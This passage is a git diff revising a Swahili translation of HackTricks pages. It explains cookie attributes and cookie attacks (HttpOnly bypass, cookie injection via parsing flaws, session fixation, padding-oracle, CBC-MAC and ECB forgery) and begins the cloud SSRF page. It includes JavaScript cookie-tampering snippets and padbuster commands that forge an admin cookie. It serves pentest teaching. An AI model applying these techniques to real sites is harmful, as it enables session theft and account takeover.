`developer.mozilla.org`. ### Njia -Njia maalum ya URL ambayo lazima iwe wazi kwenye URL iliyotakiwa kwa kichwa cha `Kuki` kutumwa inaonyeshwa na sifa ya `Njia`. Sifa hii inachukulia `/` kama kipambanuzi cha saraka, kuruhusu kufanana katika vijisehemu pia. +Njia maalum ya URL ambayo lazima iwe kwenye URL iliyotakiwa kwa kichwa cha `Cookie` kutumwa inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia `/` kama kipambanua cha saraka, kuruhusu mechi katika vijarida pia. ### Sheria za Kuagiza -Wakati kuki mbili zina jina sawa, ile inayochaguliwa kutumwa inategemea: +Wakati vidakuzi viwili vinabeba jina sawa, kile kinachochaguliwa kutumwa kinafuata: -* Kuki inayofanana na njia ndefu zaidi kwenye URL iliyotakiwa. -* Kuki iliyowekwa hivi karibuni zaidi ikiwa njia ni sawa. +* Kuki inayolingana na njia ndefu zaidi kwenye URL iliyotakiwa. +* Kuki iliyowekwa hivi karibuni zaidi ikiwa njia zinafanana. ### SameSite -* Sifa ya `SameSite` inaamua ikiwa kuki zinatumwa kwenye maombi yanayotoka kwa vikoa vya tatu. Inatoa mipangilio mitatu: +* Sifa ya `SameSite` inadhibiti ikiwa vidakuzi vitatumwa kwenye maombi yanayotoka kwa vikoa vya tatu. Inatoa mipangilio mitatu: * **Strict**: Inazuia kuki kutotumwa kwenye maombi ya vikoa vya tatu. * **Lax**: Inaruhusu kuki kutumwa na maombi ya GET yaliyoanzishwa na tovuti za vikoa vya tatu. * **None**: Inaruhusu kuki kutumwa kutoka kwa kikoa chochote cha tatu. -Kumbuka, wakati unapoweka kuki, kuelewa vigezo hivi kunaweza kusaidia kuhakikisha zinajitokeza kama ilivyotarajiwa katika hali tofauti. +Kumbuka, wakati unakusanya vidakuzi, kuelewa sifa hizi kunaweza kusaidia kuhakikisha vinajitokeza kama ilivyotarajiwa katika hali tofauti. -| **Aina ya Ombi** | **Mfano wa Kanuni** | **Kuki Zinazotumwa Wakati** | +| **Aina ya Ombi** | **Mfano wa Kanuni** | **Vidakuzi Vinavyotumwa Wakati** | | ---------------- | ---------------------------------- | --------------------- | | Kiungo | \\ | NotSet\*, Lax, None | | Prerender | \ | NotSet\*, Lax, None | @@ -56,61 +64,61 @@ Kumbuka, wakati unapoweka kuki, kuelewa vigezo hivi kunaweza kusaidia kuhakikish | AJAX | $.get("...") | NotSet\*, None | | Picha | \ | NetSet\*, None | -Jedwali kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na kubadilishwa kidogo.\ -Kuki yenye sifa ya _**SameSite**_ itasaidia **kupunguza mashambulizi ya CSRF** ambapo kikao kilichosajiliwa kinahitajika. +Meza kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na imebadilishwa kidogo.\ +Kidakuzi chenye sifa ya _**SameSite**_ itasaidia **kupunguza mashambulizi ya CSRF** ambapo kikao kilichosajiliwa kinahitajika. -**\*Tambua kwamba kutoka Chrome80 (feb/2019) tabia ya msingi ya kuki bila sifa ya samesite ya kuki itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -Tambua kuwa kwa muda, baada ya kutumia mabadiliko haya, **kuki bila sera ya SameSite** **katika Chrome zitashughulikiwa kama None** wakati wa **kwanza 2 dakika na kisha kama Lax kwa maombi ya POST ya juu ya kiwango cha juu cha tovuti.** +**\*Tambua kwamba kutoka Chrome80 (feb/2019) tabia ya msingi ya kidakuzi bila sifa ya samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ +Tambua kuwa kwa muda, baada ya kufanya mabadiliko haya, **vidakuzi bila sera ya SameSite** **katika Chrome vitatibiwa kama None** wakati wa **kwanza 2 dakika na kisha kama Lax kwa ombi za POST za juu za msingi wa tovuti.** -## Alama za Kuki +## Alama za Kidakuzi ### HttpOnly -Hii inazuia **mteja** kupata kuki (Kupitia **Javascript** kwa mfano: `document.cookie`) +Hii inazuia **mteja** kupata kidakuzi (Kupitia **Javascript** kwa mfano: `document.cookie`) #### **Kupitisha** -* Ikiwa ukurasa unatuma kuki kama jibu la maombi (kwa mfano kwenye ukurasa wa **PHPinfo**), inawezekana kutumia XSS kupeleka ombi kwa ukurasa huu na **kuiba kuki** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/). -* Hii inaweza Kupitishwa na maombi ya **HTTP ya TRACE** kama jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itaonyesha kuki zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**. +* Ikiwa ukurasa unatuma vidakuzi kama jibu la maombi (kwa mfano kwenye ukurasa wa **PHPinfo**), inawezekana kutumia XSS kupeleka ombi kwa ukurasa huu na **kuiba vidakuzi** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/). +* Hii inaweza Kupitishwa na maombi ya **HTTP ya TRACE** kama jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itaonyesha vidakuzi vilivyotumwa. Mbinu hii inaitwa **Cross-Site Tracking**. * Mbinu hii inaepukwa na **vivinjari vya kisasa kwa kutokuruhusu kutuma ombi la TRACE** kutoka JS. Walakini, baadhi ya njia za kupitisha hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2. -* Njia nyingine ni kutumia mapungufu ya siku/zero ya vivinjari. -* Inawezekana **kuandika upya kuki za HttpOnly** kwa kufanya shambulio la kujaza Jar ya Kuki: +* Njia nyingine ni kutumia udhaifu wa siku/zero wa vivinjari. +* Inawezekana **kubadilisha vidakuzi vya HttpOnly** kwa kufanya shambulio la kujaza Jar ya Kidakuzi: {% content-ref url="cookie-jar-overflow.md" %} [cookie-jar-overflow.md](cookie-jar-overflow.md) {% endcontent-ref %} -* Inawezekana kutumia shambulio la [**Kuki Smuggling**](./#cookie-smuggling) kudukua kuki hizi +* Inawezekana kutumia shambulio la [**Cookie Smuggling**](./#cookie-smuggling) kuvuja vidakuzi hivi ### Salama -Ombi litatuma kuki **pekee** kwenye ombi la HTTP ikiwa ombi linatumwa kupitia kituo salama (kawaida **HTTPS**). +Ombi litatuma kidakuzi **tu** katika ombi la HTTP ikiwa ombi linatumwa kupitia kituo salama (kawaida **HTTPS**). -## Vielezi vya Kuki +## Vielekezi vya Vidakuzi -Kuki zenye kielezi cha `__Secure-` inahitajika kuwekwa pamoja na bendera ya `salama` kutoka kwenye kurasa zilizolindwa na HTTPS. +Vidakuzi vilivyo na kipimo cha `__Secure-` vinahitajika kuwekwa pamoja na bendera ya `salama` kutoka kwenye kurasa zilizolindwa na HTTPS. -Kwa kuki zenye kielezi cha `__Host-`, masharti kadhaa lazima yatimizwe: +Kwa vidakuzi vilivyo na kipimo cha `__Host-`, hali kadhaa lazima zikutane: -* Lazima ziwekwe na bendera ya `salama`. -* Lazima zitoke kutoka kwenye ukurasa uliolindwa na HTTPS. -* Zimepigwa marufuku kutaja kikoa, kuzuia kutumwa kwao kwa subdomains. -* Njia kwa kuki hizi lazima iwekwe kwa `/`. +* Lazima viwekwe na bendera ya `salama`. +* Lazima vitoke kutoka kwenye ukurasa uliolindwa na HTTPS. +* Imezuiliwa kutaja kikoa, kuzuia usafirishaji wao kwa subdomains. +* Njia kwa vidakuzi hivi lazima iwekwe kwa `/`. -Ni muhimu kutambua kuwa kuki zenye kielezi cha `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia katika kuzingatia kuki za programu. Hivyo, kutumia kielezi cha `__Host-` kwa kuki zote za programu kunaweza kuchukuliwa kama mazoea mazuri ya kuboresha usalama na kujitenga. +Ni muhimu kutambua kuwa vidakuzi vilivyo na kipimo cha `__Host-` hairuhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia katika kuzingatia vidakuzi vya programu. Hivyo, kutumia kipimo cha `__Host-` kwa vidakuzi vyote vya programu kunaweza kuchukuliwa kama mazoea mazuri ya kuboresha usalama na kujitenga. ## Mashambulizi ya Vidakuzi -Ikiwa kuki ya desturi ina data nyeti ichunguze (hasa kama unashiriki katika CTF), kwani inaweza kuwa hatarini. +Ikiwa kuki ya desturi ina data nyeti, ichunguze (hasa kama unashiriki katika CTF), kwani inaweza kuwa na mapungufu. ### Kudecode na Kubadilisha Vidakuzi -Data nyeti iliyofichwa katika vidakuzi lazima ichunguzwe kwa umakini. Vidakuzi vilivyofichwa kwa Base64 au muundo sawa mara nyingi vinaweza kudecode. Udhaifu huu huruhusu wachomaji kubadilisha maudhui ya kuki na kujifanya kuwa watumiaji wengine kwa kuweka data yao iliyobadilishwa ndani ya kuki. +Data nyeti iliyofichwa katika vidakuzi lazima ichunguzwe kila wakati. Vidakuzi vilivyofichwa kwa Base64 au muundo sawa mara nyingi vinaweza kudecode. Udhaifu huu huruhusu wachomaji kubadilisha maudhui ya kuki na kujifanya kuwa watumiaji wengine kwa kuweka data yao iliyobadilishwa kwenye kuki. -### Utekaji wa Kikao +### Utekaji wa Kikao (Session Hijacking) Mashambulizi haya yanahusisha kuiba kuki ya mtumiaji ili kupata ufikiaji usioidhinishwa kwenye akaunti yao ndani ya programu. Kwa kutumia kuki iliyoibiwa, mchomaji anaweza kujifanya kuwa mtumiaji halali. -### Ufikiaji wa Kikao +### Ufikiaji wa Kikao (Session Fixation) Katika hali hii, mchomaji anadanganya mhanga kutumia kuki maalum kuingia. Ikiwa programu haipangi kuki mpya wakati wa kuingia, mchomaji, akiwa na kuki ya awali, anaweza kujifanya kuwa mhanga. Mbinu hii inategemea mhanga kuingia kwa kuki iliyotolewa na mchomaji. @@ -120,9 +128,9 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma: [cookie-tossing.md](cookie-tossing.md) {% endcontent-ref %} -### Kutoa Kikao +### Kutoa Kikao (Session Donation) -Hapa, mchomaji anashawishi mhanga kutumia kuki ya kikao cha mchomaji. Mhanga, akiamini wameingia kwenye akaunti yao wenyewe, bila kukusudia watatekeleza vitendo katika muktadha wa akaunti ya mchomaji. +Hapa, mchomaji anamshawishi mhanga kutumia kuki ya kikao cha mchomaji. Mhanga, akiamini kuwa wameingia kwenye akaunti yao wenyewe, watafanya vitendo kwa bahati mbaya katika muktadha wa akaunti ya mchomaji. Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma: @@ -132,23 +140,23 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma: ### [Vidakuzi vya JWT](../hacking-jwt-json-web-tokens.md) -Bonyeza kwenye kiungo kilichotangulia kupata ukurasa unaoeleza dosari zinazowezekana katika JWT. +Bonyeza kwenye kiungo hapo juu kufikia ukurasa unaoeleza dosari zinazowezekana katika JWT. -Vidakuzi vilivyotumia JSON Web Tokens (JWT) pia vinaweza kuwa na udhaifu. Kwa habari kamili kuhusu dosari zinazowezekana na jinsi ya kuzitumia, kupata hati iliyounganishwa kuhusu kuchomwa kwa JWT kunapendekezwa. +Vidakuzi vilivyotumia JSON Web Tokens (JWT) pia vinaweza kuwa na mapungufu. Kwa habari kamili kuhusu dosari zinazowezekana na jinsi ya kuzitumia, kupata hati iliyounganishwa kuhusu kuchomwa kwa JWT kunapendekezwa. -### Udukuzi wa Ombi la Msalaba kwa Tovuti (CSRF) +### Udanganyifu wa Ombi la Msingi wa Tovuti (CSRF) -Mashambulizi haya yanawalazimisha mtumiaji aliyeingia kutekeleza vitendo visivyotakiwa kwenye programu ya wavuti ambayo wamehakikiwa kwa sasa. Wachomaji wanaweza kutumia vidakuzi ambavyo huletwa moja kwa moja na kila ombi kwenye tovuti yenye udhaifu. +Mashambulizi haya yanalazimisha mtumiaji aliyeingia kufanya vitendo visivyotakiwa kwenye programu ya wavuti ambayo kwa sasa wamehakikiwa. Wachomaji wanaweza kutumia vidakuzi ambavyo huletwa moja kwa moja na kila ombi kwa tovuti yenye mapungufu. ### Vidakuzi Tupu -(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari huruhusu uundaji wa vidakuzi bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo: +(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari huruhusu uundaji wa vidakuzi bila jina, ambayo inaweza kudhihirishwa kupitia JavaScript kama ifuatavyo: ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "b=v2" ``` -Matokeo katika kichwa cha kidakuzi kilichotumwa ni `a=v1; thibitisha thamani; b=v2;`. Kwa kushangaza, hii inaruhusu udhibiti wa vidakuzi ikiwa kidakuzi cha jina tupu kimesetwa, hivyo kudhibiti vidakuzi vingine kwa kuweka kidakuzi tupu kwa thamani maalum: +Matokeo katika kichwa cha kidakuzi kilichotumwa ni `a=v1; thibitisha thamani; b=v2;`. Kwa kushangaza, hii inaruhusu udhibiti wa vidakuzi ikiwa kidakuzi cha jina tupu kimesetwa, ikidhibiti vidakuzi vingine kwa kuweka kidakuzi tupu kwa thamani maalum: ```js function setCookie(name, value) { document.cookie = `${name}=${value}`; @@ -158,47 +166,47 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu ``` Hii inapelekea kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila seva ya wavuti kama cookie iliyoitwa `a` yenye thamani `b`. -#### Kosa la Chrome: Shida ya Kipengee cha Kanuni ya Surrogate ya Unicode +#### Kosa la Chrome: Shida ya Nambari ya Kanuni ya Surrogate ya Unicode ```js document.cookie = "\ud800=meep"; ``` Hii inasababisha `document.cookie` kutoa matokeo ya herufi tupu, ikionyesha uharibifu wa kudumu. -#### Kupitisha Cookies Kutokana na Matatizo ya Upatanishi +#### Kupitisha Cookie Kutokana na Matatizo ya Upatanishi -( Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya herufi za cookie kutokana na msaada uliopitwa na wakati wa RFC2965. Huzisoma thamani ya cookie iliyofungwa mara mbili kama thamani moja hata kama ina pamoja na vipande vya nukta nyingi, ambavyo kawaida vinapaswa kutenganisha jozi za funguo-na-thamani: +( Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya herufi za cookie kutokana na msaada uliopitwa wa RFC2965. Huzisoma thamani za cookie zilizofungwa kwa alama mbili za nukta kama thamani moja hata kama ina pamoja na vipande vya nukta-kuambatana, ambavyo kawaida vinapaswa kutenganisha jozi za funguo-thamani: ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` #### Mapungufu ya Uvujaji wa Cookie -(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa cookies na seva, hasa Undertow, Zope, na wale wanaotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` ya Python, hutoa fursa za mashambulizi ya kuingiza cookie. Seva hizi hazitenganishi ipasavyo mwanzo wa cookies mpya, kuruhusu wadukuzi kughushi cookies: +(Angalia maelezo zaidi katika [utafiti wa awali](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa cookies na seva, hasa Undertow, Zope, na wale wanaotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` ya Python, hutoa fursa za mashambulizi ya kuingiza cookie. Seva hizi hazifanikiwi kufafanua kwa usahihi mwanzo wa cookies mpya, kuruhusu wachomaji kudanganya cookies: -* Undertow inatarajia cookie mpya mara moja baada ya thamani iliyonukuliwa bila punto-virgula. -* Zope inatafuta comma kuanza kuchambua cookie inayofuata. -* Darasa za cookie za Python huanza kuchambua kwenye herufi ya nafasi. +- Undertow inatarajia cookie mpya mara moja baada ya thamani iliyonukuliwa bila ya mkato. +- Zope inatafuta comma kuanza kuchambua cookie inayofuata. +- Darasa za cookie za Python huanza kuchambua kwenye herufi ya nafasi. -Mapungufu haya ni hatari hasa katika maombi ya wavuti yanayotegemea ulinzi wa CSRF kulingana na cookies, kwani inaruhusu wadukuzi kuingiza cookies za CSRF zilizoghushi, hivyo kupitisha hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookies yanayorudiwa, ambapo tukio la mwisho linapitisha yale ya awali. Pia inaleta wasiwasi kwa cookies za `__Secure-` na `__Host-` katika muktadha usio salama na inaweza kusababisha upitishaji wa idhini wakati cookies zinapitishwa kwa seva za nyuma zinazoweza kughushiwa. +Mapungufu haya ni hatari hasa katika maombi ya wavuti yanayotegemea ulinzi wa CSRF kulingana na cookies, kwani inaruhusu wachomaji kuingiza cookies za CSRF zilizodanganywa, hivyo kupitisha hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookies yanayorudiwa, ambapo tukio la mwisho linapuuza yale ya awali. Pia inaleta wasiwasi kwa cookies za `__Secure-` na `__Host-` katika muktadha usio salama na inaweza kusababisha upitishaji wa idhini wakati cookies zinapitishwa kwa seva za nyuma zinazoweza kudanganywa. ### Ukaguzi wa Ziada wa Cookies Zenye Mapungufu #### **Uchunguzi wa Msingi** -* **Cookie** ni **sawa** kila wakati unapoj**iunga**. -* Tolea nje na jaribu kutumia cookie hiyo hiyo. -* Jaribu kuingia kwa kutumia vifaa 2 (au vivinjari) kwenye akaunti moja kwa kutumia cookie hiyo hiyo. -* Angalia kama cookie ina habari yoyote ndani yake na jaribu kuibadilisha. -* Jaribu kuunda akaunti kadhaa zenye majina yanayofanana na uangalie kama unaweza kuona mfanano. -* Angalia chaguo la "**kumbuka**" ikiwepo kuona jinsi inavyofanya kazi. Ikiwepo na inaweza kuwa na mapungufu, tumia daima cookie ya **kumbuka** bila cookie nyingine yoyote. -* Angalia kama cookie ya awali inafanya kazi hata baada ya kubadilisha nenosiri. +- **Cookie** ni **sawa** kila wakati unapoj**iunga**. +- Tolea nje na jaribu kutumia cookie hiyo hiyo. +- Jaribu kuingia kwa kutumia vifaa 2 (au vivinjari) kwenye akaunti moja kwa kutumia cookie hiyo hiyo. +- Angalia kama cookie ina habari yoyote ndani yake na jaribu kuibadilisha. +- Jaribu kuunda akaunti kadhaa zenye majina yanayofanana na uangalie kama unaweza kuona mfanano. +- Angalia chaguo la "**kumbuka**" ikiwepo kuona jinsi inavyofanya kazi. Ikiwepo na inaweza kuwa na mapungufu, tumia daima cookie ya **kumbuka** bila cookie nyingine yoyote. +- Angalia kama cookie ya awali inafanya kazi hata baada ya kubadilisha nenosiri. #### **Mashambulizi ya Cookies ya Juu** Ikiwa cookie inabaki sawa (au karibu) unapojiunga, hii inamaanisha labda cookie hiyo inahusiana na uga fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza: -* Jaribu kuunda akaunti nyingi zenye majina ya mtumiaji vinavyofanana sana na jaribu **kudhan** jinsi algorithm inavyofanya kazi. -* Jaribu **bruteforce jina la mtumiaji**. Ikiwa cookie inahifadhi tu kama njia ya uwakilishi kwa jina lako la mtumiaji, basi unaweza kuunda akaunti na jina la mtumiaji "**Bmin**" na **bruteforce** kila **biti** ya cookie yako kwa sababu moja ya cookies utakazozijaribu itakuwa ile inayomilikiwa na "**admin**". -* Jaribu **Padding Oracle** (unaweza kufichua maudhui ya cookie). Tumia **padbuster**. +- Jaribu kuunda akaunti nyingi zenye majina ya mtumiaji vinavyofanana sana na jaribu **kudhanii** jinsi algorithm inavyofanya kazi. +- Jaribu **bruteforce jina la mtumiaji**. Ikiwa cookie inahifadhi tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti na jina la mtumiaji "**Bmin**" na **bruteforce** kila **biti** ya cookie yako kwa sababu moja ya cookies utakazozijaribu itakuwa ile inayomilikiwa na "**admin**". +- Jaribu **Padding Oracle** (unaweza kufichua maudhui ya cookie). Tumia **padbuster**. **Padding Oracle - Mifano ya Padbuster** ```bash @@ -214,36 +222,57 @@ Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ni hali ya kosa (i Kisha itaanza kufichua cookie (inaweza kuchukua dakika kadhaa) -Ikiwa shambulio limefanikiwa, basi unaweza jaribu kufichua string ya chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **mtumiaji=msimamizi** +Ikiwa shambulio limefanikiwa, basi unaweza kujaribu kufichua string ya chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **mtumiaji=msimamizi** ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` -Utekelezaji huu utakupa kuki iliyofichwa na kodishwa kwa usahihi na kifurushi **user=msimamizi** ndani yake. +Hii utekelezaji utakupa kuki iliyofichwa na kuandikwa kwa usahihi na kificho chenye neno **user=administrator** ndani yake. **CBC-MAC** -Labda kuki inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoumbwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia IV kama vector ya null, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini. +Labda kuki inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoumbwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia IV kama vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini. **Shambulio** -1. Pata saini ya jina la mtumiaji **msimamizi** = **t** +1. Pata saini ya jina la mtumiaji **administ** = **t** 2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR t** = **t'** -3. Weka thamani **msimamizi+t'** katika kuki (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** +3. Weka kwenye kuki thamani **administrator+t'** (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** **ECB** Ikiwa kuki imefichwa kwa kutumia ECB inaweza kuwa hatarini.\ -Unapojiingia, kuki unayopokea lazima iwe ile ile daima. +Unapoingia kwenye kuki unayopokea lazima iwe ile ile daima. **Jinsi ya kugundua na kushambulia:** -Unda watumiaji 2 wenye data karibu sawa (jina la mtumiaji, nenosiri, barua pepe, n.k.) na jaribu kugundua mchoro fulani ndani ya kuki iliyotolewa +Unda watumiaji 2 wenye data karibu sawa (jina la mtumiaji, nenosiri, barua pepe, n.k.) na jaribu kugundua kielelezo ndani ya kuki iliyotolewa -Unda mtumiaji aitwaye kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna mchoro wowote katika kuki (kwa kuwa ECB inafichua kwa kutumia ufunguo sawa kila kizuizi, herufi zilizofichwa sawa zinaweza kuonekana ikiwa jina la mtumiaji limefichwa). +Unda mtumiaji aitwaye kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna kielelezo chochote kwenye kuki (kwa kuwa ECB inaficha kwa kutumia ufunguo sawa kila kibodi, herufi zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji limefichwa). -Inapaswa kuwepo mchoro (ukiwa na ukubwa wa kizuizi kilichotumiwa). Kwa hivyo, ukiwa unajua jinsi "a" nyingi zilivyofichwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa kizuizi)+"msimamizi". Kisha, unaweza kufuta mchoro uliofichwa wa kizuizi cha "a" kutoka kwenye kuki. Na utakuwa na kuki ya jina la mtumiaji "msimamizi". +Inapaswa kuwepo kielelezo (kwa ukubwa wa kibodi iliyotumiwa). Kwa hivyo, ukiwa unajua jinsi "a" nyingi zilivyofichwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa kibodi)+"admin". Kisha, unaweza kufuta kielelezo kilichofichwa cha kibodi ya "a" kutoka kwenye kuki. Na utakuwa na kuki ya jina la mtumiaji "admin". ## Marejeo * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) + +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + + +
+ +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! + +Njia nyingine za kusaidia HackTricks: + +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 3c48e2445..445e6c54f 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -2,33 +2,41 @@
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## AWS ### Kutumia SSRF katika mazingira ya AWS EC2 -**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na hutoa habari muhimu kuhusu hiyo. Inapatikana kwenye url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). +**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa habari muhimu kuhusu hiyo. Inapatikana kwa url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). -Kuna **toleo 2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **HTTP header** kisha kutumia tokeni hiyo kufikia metadata na HTTP header nyingine (hivyo ni **ngumu zaidi kuitumia** na SSRF). +Kuna **toleo 